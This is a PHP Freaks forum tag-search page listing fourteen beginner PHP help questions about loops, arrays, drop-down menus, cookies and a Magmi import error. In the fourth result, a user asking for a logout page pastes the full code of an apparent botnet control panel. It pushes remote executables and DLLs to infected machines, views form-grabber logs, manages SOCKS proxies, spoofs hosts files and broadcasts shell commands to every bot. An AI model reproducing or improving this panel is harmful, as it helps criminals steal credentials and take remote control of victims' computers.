Jump to content

Search the Community

Showing results for tags 'php help'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Welcome to PHP Freaks
    • Announcements
    • Introductions
  • PHP Coding
    • PHP Coding Help
    • Regex Help
    • Third Party Scripts
    • FAQ/Code Snippet Repository
  • SQL / Database
    • MySQL Help
    • PostgreSQL
    • Microsoft SQL - MSSQL
    • Other RDBMS and SQL dialects
  • Client Side
    • HTML Help
    • CSS Help
    • Javascript Help
    • Other
  • Applications and Frameworks
    • Applications
    • Frameworks
    • Other Libraries
  • Web Server Administration
    • PHP Installation and Configuration
    • Linux
    • Apache HTTP Server
    • Microsoft IIS
    • Other Web Server Software
  • Other
    • Application Design
    • Other Programming Languages
    • Editor Help (PhpStorm, VS Code, etc)
    • Website Critique
    • Beta Test Your Stuff!
  • Freelance, Contracts, Employment, etc.
    • Services Offered
    • Job Offerings
  • General Discussion
    • PHPFreaks.com Website Feedback
    • Miscellaneous

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests


Age


Donation Link

Found 14 results

  1. I have a PHP while loop that pulls from an SQL database and displays the contents in a table with two columns. // Check Connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } // Select Data Table $result = mysqli_query($con,"SELECT * FROM Recommendations") or die(mysqli_error); // Split Data $mid = ceil(mysqli_num_rows($result)/2); // Display Content while ($rows = mysqli_fetch_array($result)) { $Name = $rows['Name']; $Author = $rows['Author']; $Cover = $rows['Link to Cover']; $Link = $rows['Link to Profile']; echo "<table><tr><td> <a href='" . $Link . "' >$Name</a> <br /> $Author <br /> <a href='" . $Link . "' ><img src='" . $Cover . "' /></a> </td> <td> <a href='" . $Link . "' >$Name</a> <br /> $Author <br /> <a href='" . $Link . "' ><img src='" . $Cover . "' /></a> </td></tr></table>"; } ?> I want to be able to display the looped results side by side in columns of two. Example: 1 2 3 4 5 6 I've tried using pseudo classes to display only the even and odd results in the different table columns, but honestly have no idea how to do this. I'm new to PHP, so my apologies if the results are really obvious. Thanks in advance!
  2. Hi PF, I've been learning php for about 3 months now and would like to get away from my desktop environment to a laptop. This laptop will only be for learning php, so I'll run XAMPP and a Sublime Text or some free editor. What do you guys recommend me getting from experience? Requirements: 13"+ monitor $400- budget Thanks in advance, -Eric
  3. Hey so I am a complete newbie and am taking a course to teach me php. I was given some practice problems to do but I was not given any answers to see if my work was correct. Can anyone check my work and/or give me some tips or answers to these problems? I would greatly appreciate it. Assume that an array named $list is given to you. It contains ten numbers in cells 0 through 9. Some of the numbers are negative. You don't need to waste time writing the code to create $list. Assume it exists already. It might not contain the same numbers as the example below. Write a small piece of code including a 'for' loop that would add up all the numbers in the $list which are greater than or equal to 4, and then print "The sum of biggies is ", followed by the sum. For instance, if the list is (8, 1, 7, -7, 2, 4, 5, -14, 0, 1) then the sum of the biggies is 24. Your code will also print out "There were $n zeros and $m biggies.", where $n is replaced by the number of zeros found in the list, and $m is the number of values greater than or equal to 4. In our example, it would print “There were 1 zeros and 4 biggies.” #list=array(8,1,7,-7,2,4,5,-14,0,1) $for ($i=0;$i<10;$i++) { $x=$list[$i]; if ($x>4) { $total=$total+$x; $biggies++;//biggies=$biggies+1; } else if ($x==0) { $zeros++; ] print "The sum of biggies is $biggies That is where I got stuck, I didn't really get the second part ><
  4. hi guys i want to make a logout page of this page which i past it here. <?php error_reporting(0); require("./inc/cfg.php"); require("./inc/funcs.php"); $dbase = new dbClass(); $page = $_GET["page"]; $act = $_GET["act"]; $id = $_GET["id"]; $fileid = $_GET["file"]; $next = $_GET["next"]; $referrer = $_SERVER['HTTP_REFERER']; if(!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER'] !== $config["admin"] || $_SERVER['PHP_AUTH_PW'] !== $config["pass"]) { header('WWW-Authenticate: Basic realm="Who are you?"'); header('HTTP/1.0 401 Unauthorized'); exit; } if ($act == "del" && !empty($id)) { mysql_query("DELETE FROM sellers WHERE id='".$id."'"); @unlink('./exe/'.$id.'.tmp'); header('Location: '.$referrer); } if ($act == "stop" && !empty($id)) { mysql_query("UPDATE sellers SET stop='1' WHERE id='".$id."'"); header('Location: '.$referrer); } if ($act == "resume" && !empty($id)) { mysql_query("UPDATE sellers SET stop='0' WHERE id='".$id."'"); header('Location: '.$referrer); } if ($act == "dwnlog" && !empty($fileid)) { getlog($fileid); header('Location: '.$referrer); } if ($act == "dellog" && !empty($fileid)) { @unlink('./data/'.$fileid); header('Location: '.$referrer); } if ($act == "dwnshell" && !empty($fileid)) { getshell($fileid); header('Location: '.$referrer); } if ($act == "delshell" && !empty($fileid)) { @unlink('./shell/'.$fileid); header('Location: '.$referrer); } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn/11"> <title>Control Panel</title> <link rel="stylesheet" href="/exe/bootstrap.css" type="text/css" /> <script> function look(type){ param=document.getElementById(type); if(param.style.display == "none") param.style.display = "block"; else param.style.display = "none" } function showdiv(id,param){ document.getElementById('botid_num1').value = param; document.getElementById('botid_num2').value = param; display = document.getElementById(id).style.display; if(display=='none'){document.getElementById(id).style.display='block';} else{document.getElementById(id).style.display='none';} } </script> </head> <body> <font face="Tahoma"> <div class="navbar navbar-fixed-top"> <div class="navbar-inner"> <div class="container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <a class="brand" href="/bot/control.php"><img src="/bot/imgs/1.png" alt="HTML tutorial" width="110" height="23"></a> <ul class="nav pull-right"> </ul> <div class="nav-collapse"> <ul class="nav"> <li><a href="?page=index">STATISTICS</a></li> <li><a href="?page=bots">BOTS</a></li> <li><a href="?page=exe">TASKS</a></li> <li><a href="?page=options">UPLOADER</a></li> <li><a href="?page=logs">FORM GRABBER</a></li> <li><a href="?page=socks">SOCKS</a></li> <li><a href="?page=hosts">HOSTS</a></li> <li><a href="?page=shell">COMMAND PROMPT</a></li> <!--<li><a href="/secret/index.php?mod=sconfig">Dynamic Configuration</a></li>--> </ul> </li> </ul> </ul> </div><!--/.nav-collapse --> </div> </div> </div> <script src="http://itinfosys.net/js/jquery.min.js"></script> <p>.</p> <p>.</p> <p>.</p> <body background="http://dxg-mathias.info/bot/imgs/k.jpg"> <div class="data"> <?php if ($act == "edit" && !empty($id)) { $v = mysql_query("SELECT * FROM sellers WHERE id='".$id."'"); $load = mysql_fetch_assoc($v); if ($load["isdll"]==0) $checked1="checked"; if ($load["isdll"]==1) $checked2="checked"; if ($load["isdll"]==2) $checked3="checked"; echo '<table cellpadding="3" cellspacing="0" align="center"> <tr> <td align="center" style="width:100%;"> <h3 style="margin-top:20px;margin-bottom:20px;">Edit task with ID#'.$id.'</h3> </td> </tr> <tr> <td align="left" style="width:100%;"><h4>Local file:</h4><br> <form method="post" enctype="multipart/form-data" action="action.php"> <input type="hidden" name="edit" value="yes"> <input type="hidden" name="id" value="'.$id.'"> GEO: <input type="input" name="geo" value="'.$load["country"].'"> (ex.: ru,us,gb)<br><br> Limit: <input type="input" name="limit" value="'.$load["limit"].'" size="8" max="7"> Seller: <input type="input" name="seller" value="'.$load["seller"].'" size="8" max="5"><br><br> <input type="file" name="file"> <input type="submit" value="Upload"><br><br> <table cols="3" width="300px"> <tr> <td><input type="radio" name="start" value="0" '.$checked1.'>Run as EXE</td> <td><input type="radio" name="start" value="1" '.$checked2.'>LoadLibrary</td> <td><input type="radio" name="start" value="2" '.$checked3.'>regsvr32</td> </tr> </table> </form> </td> </tr> <tr> <td align="left" style="width:100%;"><h4>Remote file:</h4><br> <form method="post" enctype="multipart/form-data" action="action.php"> <input type="hidden" name="edit" value="remote"> <input type="hidden" name="id" value="'.$id.'"> GEO: <input type="input" name="geo" value="'.$load["country"].'"> (ex.: ru,us,gb)<br><br> Limit: <input type="input" name="limit" value="'.$load["limit"].'" size="8" max="7"> Seller: <input type="input" name="seller" value="'.$load["seller"].'" size="8" max="5"><br><br> URL: <input type="input" name="url" value="'.$load["from"].'"> <input type="submit" value="Set"><br><br> <table cols="3" width="300px"> <tr> <td><input type="radio" name="start" value="0" '.$checked1.'>Run as EXE</td> <td><input type="radio" name="start" value="1" '.$checked2.'>LoadLibrary</td> <td><input type="radio" name="start" value="2" '.$checked3.'>regsvr32</td> </tr> </table> </form> </td> </tr> </table>'; } else { if(empty($page) || $page == "index") { echo '<table cellpadding="0" cellspacing="0" align="center"> <tr> <td align="center" style="width:25%;"> <h3 style="margin-top:20px;margin-bottom:20px;">Statistic</h3> </td> <td align="center" style="width:25%;"> <h3 style="margin-top:20px;margin-bottom:20px;">Operating System</h3> </td> <td align="center" style="width:25%;"> <h3 style="margin-top:20px;margin-bottom:20px;">Online Countries</h3> </td> <td align="center" style="width:25%;"> <h3 style="margin-top:20px;margin-bottom:20px;">Countries</h3> </td> </tr> <tr> <td align="center" style="padding:0;width:200px;"> <table cellspacing="0"> <tr> <td align="left"><b>All Bots</b> - '.bots().'<br> <b>Today</b> - '.tdbots().'<br> <b>Online</b> - '.onbots().'<br><br> <b>EXE</b> - '.tasks().'<br><br> <b>Loads</b> - '.loads().'<br> <b>Runs</b> - '.runs().'<br><br> <b>For update</b> - '.forupd().'<br> <b>Doubles</b> - '.doubles().'</td> </tr> <tr> <td align="center"> <h3 style="margin-top:20px;margin-bottom:20px;">Build ID</h3> </td> </tr> <tr> <td align="center"> <table cellspacing="0">'.sellers().'</table> </td> </tr> </table> </td> <td align="center"> <table cellspacing="0">'.os().'</table> </td> <td align="center"><a class="action" href="javascript:look(\'div1\');">Show/Hide</a><br/><br/><div id="div1" style="display:none"> <table cellspacing="0">'.oncountries().'</table></div> </td> <td align="center"><a class="action" href="javascript:look(\'div2\');">Show/Hide</a><br/><br/><div id="div2" style="display:none"> <table cellspacing="0">'.countries().'</table></div> </td> </tr> </table>'; } elseif ($page == "exe") { echo ' <table cellpadding="3" cellspacing="0" align="center" cols="3" width="650px"> <tr> <td align="center" colspan="3"> <h3 style="margin-top:20px;margin-bottom:20px;">Add new task</h3> </td> </tr> <tr> <td align="left" style="width:300px;"><h4>Local file:</h4><br> <form method="post" enctype="multipart/form-data" action="action.php"> Comment: <input type="input" name="comment"> <br><br> GEO: <input type="input" name="geo" value="ALL"> (ex.: ru,us,gb)<br><br> Limit: <input type="input" name="limit" value="0" size="8" max="7"> <p>Seller: <input type="input" name="seller" value="0" size="8" max="5"><br><br> <input type="file" name="file"> <input type="submit" value="Upload"><br><br> <table cols="3" width="300px"> <tr> <td><input type="radio" name="start" value="0" checked>Run as EXE</td> <td><input type="radio" name="start" value="1">LoadLibrary</td> <td><input type="radio" name="start" value="2">regsvr32</td> </tr> </table> </form> </td> <td style="width:50px;"> </td> <td align="left" style="width:300px;"><h4>Remote file:</h4><br> <form method="post" enctype="multipart/form-data" action="action.php"> Comment: <input type="input" name="comment"> <br><br> GEO: <input type="input" name="geo" value="ALL"> (ex.: ru,us,gb)<br><br> Limit: <input type="input" name="limit" value="0" size="8" max="7"> <p>Seller: <input type="input" name="seller" value="0" size="8" max="5"><br><br></p> URL: <input type="input" name="url"> <input type="submit" value="Set"><br><br> <table cols="3" width="300px"> <tr> <td><input type="radio" name="start" value="0" checked>Run as EXE</td> <td><input type="radio" name="start" value="1">LoadLibrary</td> <td><input type="radio" name="start" value="2">regsvr32</td> </tr> </table> </form> </td> </tr> </table> <table cellpadding="3" cellspacing="0" align="center" cols="13" width="900px"> <tr> <td align="center" colspan="12"> <h3 style="margin-top:20px;margin-bottom:20px;">Task list</h3> </td> </tr> <tr> <td align="center" style="width:25px;"><b>ID</b></td> <td align="center" style="width:50px;"><b>Size</b></td> <td align="center" style="width:130px;"><b>Date</b></td> <td align="center" style="width:50px;"><b>Loads</b></td> <td align="center" style="width:50px;"><b>Runs</b></td> <td align="center" style="width:160px;"><b>Action</b></td> <td align="center" style="width:50px;"><b>Limit</b></td> <td align="center" style="width:75px;"><b>URL</b></td> <td align="center" style="width:30px;"><b>GEO</b></td> <td align="center" style="width:40px;"><b>DLL</b></td> <td align="center" style="width:180px;"><b>Comment</b></td> <td align="center" style="width:35px;"><b>Seller</b></td> <td align="center" style="width:35px;"><b>Guest</b></td> </tr>'.allexe().'</table>'; } elseif ($page == "options") { $v = mysql_query("SELECT * FROM `update`"); $upd = mysql_fetch_assoc($v); $warn =''; if ($upd["from"]=='local') {$warn='<span style="color: red;">Local update is started!!!</span><br>';} elseif (strlen($upd["from"])>10) {$warn='<span style="color: red;">Remote update is started!!!<br>From: '.substr($upd["from"],0,15).'...</span><br>';} $v = mysql_query("SELECT * FROM `options`"); $res = mysql_fetch_assoc($v); $reserve = $res["reserv"]; echo '<table cellpadding="3" cellspacing="0" align="center"> <tr> <td align="center" style="width:100%;"> <h3 style="margin-top:20px;margin-bottom:20px;">Options</h3> </td> </tr> <tr> <td align="center" style="width:100%;"> <a class="action" href="action.php?opt=delexe">Delete all tasks with files</a> | <a class="action" href="action.php?opt=delpers">Delete personal tasks with files</a> | <a class="action" href="action.php?opt=deldoub">Clear doubles counter</a> | <a class="action" href="action.php?opt=delstat">Clear all stat\'s</a> </td> </tr> </table> <table cellpadding="3" cellspacing="0" align="center"> <tr> <td align="center" style="width:100%;"><h3 style="margin-top:20px;margin-bottom:20px;">Update</h3> </td> </tr> <tr> <td><h4 style="margin-top:20px;margin-bottom:20px;">Local file:</h4><br> <form method="post" enctype="multipart/form-data" action="action.php"> <input type="file" name="updname"> <input type="submit" value="Upload"> </form> </td> </tr> <tr> <td><h4 style="margin-top:20px;margin-bottom:20px;">Remote file:</h4><br> <form method="post" enctype="multipart/form-data" action="action.php"> URL: <input type="input" name="update"> <input type="submit" value="Set"> </form> </td> </tr> <tr> <td align="center" style="width:100%;">'.$warn.'<br> <a class="action" href="action.php?opt=delupdate">Delete UPDATE</a> </td> </tr> <tr> <td align="center" style="width:100%;"><h3 style="margin-top:20px;margin-bottom:20px;">Reserve URL</h3> </td> </tr> <tr> <td align="center"> <form method="post" enctype="multipart/form-data" action="action.php"> URL: <input type="input" name="reserve" value="'.$reserve.'"> (e.g.: http://site.com/folder/index.php or "none")<br><br> <input type="submit" value="Set"> </form> </td> </tr> </table>'; } elseif ($page == "bots") { $botlist = ''; if ($_GET['mode']=='search') { $botlist = sr_allbots(); } else { $botlist = allbots($next); } echo '<table cellpadding="3" cellspacing="0" align="center" cols="6" width="950px"> <tr> <td align="center" colspan="6"> <h3 style="margin-top:20px;margin-bottom:20px;">Bots List</h3> </td> </tr> <tr> <td colspan="6" align="left" style="width:950px;"><h4>Search:</h4> <form method="post" enctype="multipart/form-data" action="action.php"> ID (pattern): <input type="input" name="sr_pattern"> | IP: <input type="input" name="sr_ip"> | GEO: <input type="input" name="sr_geo" size="8"> <P> Seller ID: <input type="input" name="sr_seller" size="8"> <input type="hidden" name="mode" value="search"><input type="submit" value="Search"><br><br></P> </form> </td> </tr> <tr> <td align="center" style="width:250px;"><b>ID</b></td> <td align="center" style="width:150px;"><b>IP</b></td> <td align="center" style="width:100px;"><b>OS</b></td> <td align="center" style="width:250px;"><b>Last Visit</b></td> <td align="center" style="width:150px;"><b>Country</b></td> <td align="center" style="width:50px;"><b>Seller</b></td> <td align="center" style="width:100px;"><b>Command</b></td> </tr>'.$botlist.'</table> <div id="personal" style="display: none;"> <div align="right"><a href="#" onclick="showdiv(\'personal\'); return false">Close</a></div> <table cellpadding="3" cellspacing="0" align="center" width="350px"> <tr> <td align="center"><h3 style="margin-top:10px;margin-bottom:20px;">Add personal task</h3></td> </tr> <tr> <td align="left" style="width:300px;"><h4>Local file:</h4><br> <form method="post" enctype="multipart/form-data" action="action.php"> <input type="hidden" id="botid_num1" name="botid" value="0"> <input type="file" name="file"> <input type="submit" value="Upload"><br><br> <table cols="3" width="300px"> <tr> <td><input type="radio" name="start" value="0" checked>Run as EXE</td> <td><input type="radio" name="start" value="1">LoadLibrary</td> <td><input type="radio" name="start" value="2">regsvr32</td> </tr> </table> </form> </td> </tr> <tr> <td align="left" style="width:300px;"><h4>Remote file:</h4><br> <form method="post" enctype="multipart/form-data" action="action.php"> <input type="hidden" id="botid_num2" name="botid" value="0"> URL: <input type="input" name="url"> <input type="submit" value="Set"><br><br> <table cols="3" width="300px"> <tr> <td><input type="radio" name="start" value="0" checked>Run as EXE</td> <td><input type="radio" name="start" value="1">LoadLibrary</td> <td><input type="radio" name="start" value="2">regsvr32</td> </tr> </table> </form> </td> </tr> </table> </div>'; } elseif ($page == "logs") { echo '<table cellpadding="3" cellspacing="0" align="center" cols="3" width="700px"> <tr> <td align="center" style="width:700px;" colspan="3"> <h3 style="margin-top:20px;margin-bottom:20px;">Grabber Logs</h3> </td> </tr> <tr> <td align="center" style="width:200px;"><b>Name</b></td> <td align="center" style="width:200px;"><b>Size</b></td> <td align="center" style="width:300px;"><b>Action</b></td> </tr>'.alllogs().'</table>'; } elseif ($page == "socks") { $v = mysql_query("SELECT valid FROM socksip"); $load = mysql_fetch_assoc($v); if (empty($load['valid'])) {$load['valid']='127.0.0.1';} echo '<table cellpadding="3" cellspacing="0" align="center"> <tr> <td align="center" style="width:100%;"> <h3 style="margin-top:20px;margin-bottom:20px;">Allowed IP\'s</h3> </td> </tr> <tr> <td align="center" style="width:45%;"> <form method="post" action="action.php"> <textarea name="iplist" style="width:300px;" rows="10" cols="30">'.$load['valid'].'</textarea> <br><br> <input type="submit" value="Set"> </form> </td> </tr> <tr> <td> <br> Enter IP-adress whom allowed use socks (ex.: 192.168.1.1 - check your ip) <br> Enter "forall" to allow all IP used socks </td> </tr> </table> <br> <center><a href="action.php?opt=socks" target="_blank">Link to online socks list (ip:port)</a> | <a href="action.php?opt=delsocks">Clear socks list</a></center> <br> <table cellpadding="3" cellspacing="0" align="center" cols="5" width="800px"> <tr> <td align="center" style="width:700px;" colspan="5"> <h3 style="margin-top:20px;margin-bottom:20px;">Socks Online List</h3> </td> </tr> <tr> <td align="center" style="width:250px;"><b>ID</b></td> <td align="center" style="width:150px;"><b>IP</b></td> <td align="center" style="width:50px;"><b>Port</b></td> <td align="center" style="width:200px;"><b>Date</b></td> <td align="center" style="width:150px;"><b>Country</b></td> </tr>'.livesocks($next).'</table>'; } elseif ($page == "hosts") { $v = mysql_query("SELECT hosts FROM socksip"); $load = mysql_fetch_assoc($v); if (empty($load['hosts']) or strlen($load['hosts'])<7) {$load['hosts']='127.0.0.1 localhost';} echo '<table cellpadding="3" cellspacing="0" align="center"> <tr> <td align="center" style="width:100%;"> <h3 style="margin-top:20px;margin-bottom:20px;">Hosts Spoofing</h3> </td> </tr> <tr> <td align="center" style="width:45%;"> <form method="post" action="action.php"> <textarea name="hosts" style="width:500px;" rows="10" cols="30">'.$load['hosts'].'</textarea> <br><br> <input type="submit" value="Set"> </form> </td> </tr> <tr> <td> <br> For spoofing enter: ip domain (ex.: ip = 1.1.1.1, domain = site.com) <br> For restore original HOSTS enter: restore_orig </td> </tr> </table> <table cellpadding="3" cellspacing="0" align="center" cols="2" width="300px"> <tr> <td align="center" style="width:300px;" colspan="2"> <h3 style="margin-top:20px;margin-bottom:20px;">Hosts Spoofing Statistic</h3> </td> </tr> <tr> <td align="center" style="width:150px;"><b>Total Bots</b></td> <td align="center" style="width:150px;"><b>Spoofed</b></td> </tr>'.allspoof().'</table>'; } elseif ($page == "shell") { $v = mysql_query("SELECT shell FROM socksip"); $i = mysql_fetch_assoc($v); $shell = $i['shell']; echo '<table cellpadding="3" cellspacing="0" align="center" cols="3" width="700px"> <tr> <td align="center" style="width:700px;" colspan="3"> <h3 style="margin-top:20px;margin-bottom:20px;">COMMAND PROMT & LOGS</h3> </td> </tr> <tr> <td colspan="3" align="center"> <form method="post" action="action.php"> Command: <input type="input" name="shell_cmd" size="50" value="'.$shell.'"> <input type="submit" value="Set"> </form> <br> Sample command: "ipconfig /all" (all bots send results of this command, enter without quotes) <br><br> </td> </tr> <tr> <td align="center" style="width:200px;"><b>Name</b></td> <td align="center" style="width:200px;"><b>Size</b></td> <td align="center" style="width:300px;"><b>Action</b></td> </tr>'.allshell().'</table>'; } else { echo "Fuck Yeah!!!"; } } ?> </div> </div> </body> </html>
  5. Hello Friends, There is a Question for you guys, Please tell me this code is correct or not. I want id on another page for delete the same id details. Is it wrong so please give me the correct one. I am waiting for you code. Thank you in advance. <a href="target.php?id=<?php echo $pageid ?>">For Get it in php</a> _____________________________________________________ Event Management Companies in Delhi | SEO Company in Delhi
  6. Hi there I am trying to create a search form to retrive rates form multiple selections and then display the results. i have created the database in mysql database name: Rates in that there are the following 6 tables:- 1.Country 2.Area 3.Region 4.destination 5.airline 6.rate_table 1)The country has the following columns:- Country_code,Country_name,Area and Region 2)The Area table has the following columns:- Area_code,Area name and Country 3)The Region table has the following coulumns:- Region_Code,Region_Name and Country 4)The destination has the following columns:- Dest_Code,Dest_Name and Dest_Country 5. The Airline Table has the following columns:- Airline_Code and Airline_Name 6) The Rates Table has the following columns:- Rate_ID,Rate_Airline,Rate_Destination and Rate I managed to create my first drop down using the code below:- <?php //create connection $connectmysql=mysql_connect("localhost","root","root"); if (!$connectmysql) { die('Not Connected :' . mysql_error()); } $db_selected=mysql_select_db('rates',$connectmysql); ?> <?php $result = mysql_query("SELECT Country_Name FROM Country ORDER BY Country_Name") or die(mysql_error()); while ($row=mysql_fetch_array($result)) { $Country_Name=$row["Country_Name"]; $options.='<option value="'.$row['Country_Name'].'">'.$row['Country_Name'].'</option>'; }; ?> <html> <body> <SELECT NAME=catid> <OPTION VALUE=0>choose</option> <?php echo $options;?> </SELECT> </HTML> the stucture plannned is country-->region--->Area--->destination--->Airline and then search. if the country is selected then the next drop down should show the region automatically in the next dropdown and for the area drop down.The destination drop down should only show destinations for the county selected and the airline should only show the list of airlines. then the rate results should show based on these cliterias. Thanks and Regards Keith
  7. I am designing a voting webpage where in users can choose multiple values and all are submitted to a mysql database. I am using checkboxes. I can get one value to go in great, but its the mutiple value thing that has me pulling my hair out. Can someone PLEASE help a beginner out??
  8. Hello When I run this command-bash-3.2 $ php magmi.cli.php-mode = update-profile = default SSH to import a csv file Magento products in my shop I get this message: Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /home/content/17/10622317/html/magmi/inc/magmi_loggers.php on line 4 <?php class FileLogger { protected $_fname; public function __construct($fname=null) { if($fname==null) { $fname=Magmi_StateManager::getProgressFile(true); } $this->_fname=$fname; $f=fopen($this->_fname,"w"); if($f==false) { throw new Exception("CANNOT WRITE PROGRESS FILE "); } fclose($f); } public function log($data,$type) { $f=fopen($this->_fname,"a"); if($f==false) { throw new Exception("CANNOT WRITE PROGRESS FILE "); } $data=preg_replace ("/(\r|\n|\r\n)/", "<br>", $data); fwrite($f,"$type:$data\n"); fclose($f); } } class EchoLogger { public function log($data,$type) { $info=explode(";",$type); $type=$info[0]; echo('<p class="logentry log_'.$type.'">'.$data."</p>"); } } class CLILogger { public function log($data,$type) { echo("$type:$data\n"); } } ?> magmi_loggers.php
  9. I have a chat script that I have installed and its like : http://omegle.com/ but for some reason Im not able to get it to work 100%, it just doesnt seem to pick up any other chatter on the site to chat with. There are no visible errors at all which makes it hard to find out why the chat feature doesnt seem to work. I wouldnt mind sharing this script with anyone, if you can just get it to work and let me know what the problem is in return. I dont think there is a big issue to fix, as its a small script, I have probably just missed something. If your interested in having this script and making it work then sharing what the problem was please let me know. Many Thanks
  10. Hello guys i want to know how can i iterate this array. stdClass Object ( [new_occ] => Array ( [0] => Array # This is the room number ( [adults] => 2 [children] => Array ( [0] => 0 [1] => 0 [2] => 0 ) ) [1] => Array ( [adults] => 1 ) [2] => Array ( [adults] => 2 [children] => Array ( [0] => 1 [1] => 1 [2] => 1 ) ) ) ) i want to print each of the elements but for adults and children, i only want the sum of the elements for each room. Thanks in advance.
  11. somebody once told me in this forum that i can't create a good calculator with php, but i've been trying my best to prove the critics wrong, and in my effort to do so i have written a front view of how the calculator will look like but the problem is am new to php dont have an idea of how to extract the value from the clicking of a number and dont know how to go about with coding php this is the front view <table border ="5"> <table border="2"> <th><input type="text" name="num" size="23" ></th> </table> <table border="3"> <tr> <td><button size="0">+</button></td> <td><button width="0"> - </button></td> <td><button>*</button></td> <td><button>/</button></td> </tr> <tr> <td><button>-></button></td> <td><button>1</button></td> <td><button>2</button></td> <td><button>3</button></td> </tr> <tr> <td><button>4</button></td> <td><button>5</button></td> <td><button>6</button></td> <td><button>7</button></td> </tr> <tr> <td><button>8</button></td> <td><button>9</button></td> <td><button>0</button></td> <td><button>=</button></td> </tr> <tr> <td><button>.</button></td> <td><button>%</button></td> <td><button>^</button></td> <td><button>!</button></td> </tr> </table> </table> please help out
  12. Thank you for taking the time to help me! My "check for cookie" code doesn't work. It doesnt show any errors or do anything. Can someone help me understand what I am doing wrong. I am trying to create the code to check for a cookie. If it doesn't exist I want it to display a <div>information</div>. My code to check for a cookie is called usercheck_cookie.html Here is my code to check for a username: <script> function getCookie(c_name) { var i,x,y,ARRcookies=document.cookie.split(";"); for (i=0;i<ARRcookies.length;i++) { x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("=")); y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1); x=x.replace(/^\s+|\s+$/g,""); if (x==c_name) { return unescape(y); } } } function checkCookie() { var User_ID=getCookie("User_ID"); if (User_ID!=null && User_ID!="") { alert("Welcome again " + username); } else { alert("You are not a user!); echo "<html><div id="Signup" style="position:fixed;width:1000px;height:500px;top:300px;left:50%;background-color:#220916;"> </div></html>"; } } </script> Here is how I set it into my index.shtml: <!DOCTYPE html> <html> <head> <title>Diamond Book Club</title> <!--#include virtual="usercheck_cookie.html" --> </head> <body onload="checkCookie()"> // and the rest of my website is below Sincerely, Brett Hartel
  13. Hello everybody, i have a problem about php. there's can help me? i don't know how to make encryption in php. i try and i try again, but i can't. please help. thanks before
  14. yhi

    how to ?

    i want to send a request to a website i mean i want a php script to open a website in background dont want user to see website & i dont want to use iframe or get_file content etc.. bcoz after 30-40 request server give me Error & i am trying curl any fast way to do it ??? i just want to open the website which user give me & also i want something to protect the script from posting same request again & again i already added captcha but still while my code is working on backgroung user didnt see it so they press submit button again & again i want so show something like working or loading image in website while the script is being execute
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.